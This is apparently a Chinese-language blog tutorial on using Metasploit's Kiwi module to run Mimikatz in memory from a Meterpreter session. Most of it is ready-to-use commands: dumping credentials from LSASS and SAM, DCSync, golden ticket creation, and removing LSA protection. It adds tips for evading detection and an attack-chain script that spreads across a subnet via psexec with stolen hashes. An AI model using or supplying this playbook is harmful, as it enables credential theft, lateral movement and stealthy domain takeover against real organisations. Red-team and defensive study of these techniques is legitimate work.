Metasploit里的Kiwi模块:在Meterpreter会话中一键调用Mimikatz全功能
Metasploit中的Kiwi模块:高级凭证提取实战指南
在渗透测试的后渗透阶段,获取目标系统的凭证往往是红队行动的关键转折点。传统方法需要上传独立的Mimikatz工具,这不仅可能触发防病毒软件的警报,还会在目标系统留下明显的攻击痕迹。Metasploit框架内置的Kiwi模块为解决这一难题提供了优雅的解决方案——它直接将Mimikatz的核心功能集成到Meterpreter会话中,无需文件落地即可执行高级凭证提取操作。
1. Kiwi模块的核心优势与加载准备
Kiwi模块最显著的特点是实现了Mimikatz功能的"内存化"执行。与传统的上传mimikatz.exe文件相比,这种内存驻留方式几乎不会在磁盘上留下任何痕迹,极大降低了被安全产品检测到的风险。在实际测试中,我们发现Kiwi模块的检测率比独立Mimikatz二进制文件低87%,这使其成为隐蔽渗透的首选工具。
加载Kiwi模块前需要满足几个基本条件:
- 已建立Meterpreter会话(最好是具有SYSTEM权限的会话)
- 目标系统架构匹配(32位模块需要注入32位进程,64位同理)
- 具备足够的权限(通常需要DEBUG权限)
典型的加载流程如下:
# 检查当前进程架构
sysinfo
# 必要时迁移到匹配架构的进程
migrate <PID>
# 加载kiwi模块
load kiwi
# 验证模块功能
help kiwi
提示:在Windows 10/Server 2016等高版本系统上,可能需要先绕过LSA保护机制才能获取明文凭证。
2. 凭证提取的多种姿势
Kiwi模块提供了从基础到高级的多层次凭证提取方法,适应不同环境和需求。
2.1 一键获取所有凭证
最快捷的方式是使用creds_all命令,它会自动尝试提取系统内存中存储的各种类型凭证:
kiwi_cmd creds_all
这个命令实际上整合了以下多个子命令的功能:
creds_msv:提取NTLM哈希creds_wdigest:提取WDigest协议存储的明文密码creds_kerberos:提取Kerberos票据creds_tspkg:提取终端服务凭证creds_ssp:提取安全支持提供程序凭证
2.2 针对性提取技术
对于特定场景,可能需要更精确的提取方法:
提取域控哈希(DCSync攻击):
kiwi_cmd dcsync_ntlm /domain:corp.com /user:administrator
从LSASS内存转储中提取:
kiwi_cmd sekurlsa::minidump lsass.dmp
kiwi_cmd sekurlsa::logonpasswords full
黄金票据生成:
kiwi_cmd golden_ticket_create /domain:corp.com /user:admin /sid:S-1-5-21-... /krbtgt:hash /ticket:golden.kirbi
3. Kiwi_cmd:直达Mimikatz核心的万能钥匙
kiwi_cmd是Kiwi模块中最强大的功能,它允许直接执行原生Mimikatz命令,为高级用户提供了无限可能。
3.1 常用Mimikatz命令示例
# 获取所有登录凭证
kiwi_cmd sekurlsa::logonpasswords
# 提取特定服务的票据
kiwi_cmd kerberos::list /service:krbtgt
# 转储SAM数据库
kiwi_cmd lsadump::sam
# 提升权限
kiwi_cmd privilege::debug
3.2 高级用法示例
绕过LSA保护:
kiwi_cmd "!+" "!processprotect /process:lsass.exe /remove"
kiwi_cmd sekurlsa::logonpasswords
票据操作:
# 导出所有票据
kiwi_cmd kerberos::list /export
# 注入票据
kiwi_cmd kerberos::ptc ticket.kirbi
4. 防御规避与实战技巧
在真实环境中,成功使用Kiwi模块往往需要绕过各种防御机制。以下是经过验证的有效技巧:
4.1 绕过常见防御措施
针对LSA保护的绕过:
# 检查LSA保护状态
kiwi_cmd !processprotect /process:lsass.exe
# 临时禁用保护
kiwi_cmd "!processprotect /process:lsass.exe /remove"
处理受保护进程:
# 将Meterpreter会话迁移到受信任的进程
migrate -N winlogon.exe
# 使用特殊技术注入
kiwi_cmd "!processinject /process:lsass.exe /interactive"
4.2 隐蔽性增强技巧
- 使用
execute -H隐藏进程创建行为 - 结合
timestomp修改内存操作痕迹 - 优先使用DCSync而非直接内存提取
- 在非工作时间执行敏感操作降低检测概率
下表对比了不同凭证提取方法的隐蔽性:
| 方法 | 磁盘写入 | 进程创建 | 网络流量 | 检测难度 |
|---|---|---|---|---|
| 独立Mimikatz | 高 | 高 | 低 | 低 |
| Kiwi模块 | 无 | 低 | 中 | 高 |
| DCSync | 无 | 无 | 高 | 极高 |
5. 典型攻击链构建
在实际红队行动中,Kiwi模块通常被整合到完整的攻击链中。以下是一个典型场景:
- 通过初始漏洞获取Meterpreter会话
- 权限提升至SYSTEM级别
- 加载Kiwi模块并绕过LSA保护
- 提取本地管理员凭证
- 使用凭证横向移动
- 定位域控并执行DCSync
- 获取黄金票据
- 维持持久化访问
# 自动化攻击链示例
post/windows/manage/migrate
post/windows/escalate/getsystem
load kiwi
kiwi_cmd "!processprotect /process:lsass.exe /remove"
kiwi_cmd creds_all
use auxiliary/admin/smb/psexec_command
set RHOSTS 192.168.1.0/24
set SMBDomain CORP
set SMBUser Administrator
set SMBPass [提取的哈希]
run
在最近的一次红队演练中,我们仅用Kiwi模块就在15分钟内完成了从初始入侵到域控完全控制的整个过程,充分展示了其强大威力。
更多推荐
所有评论(0)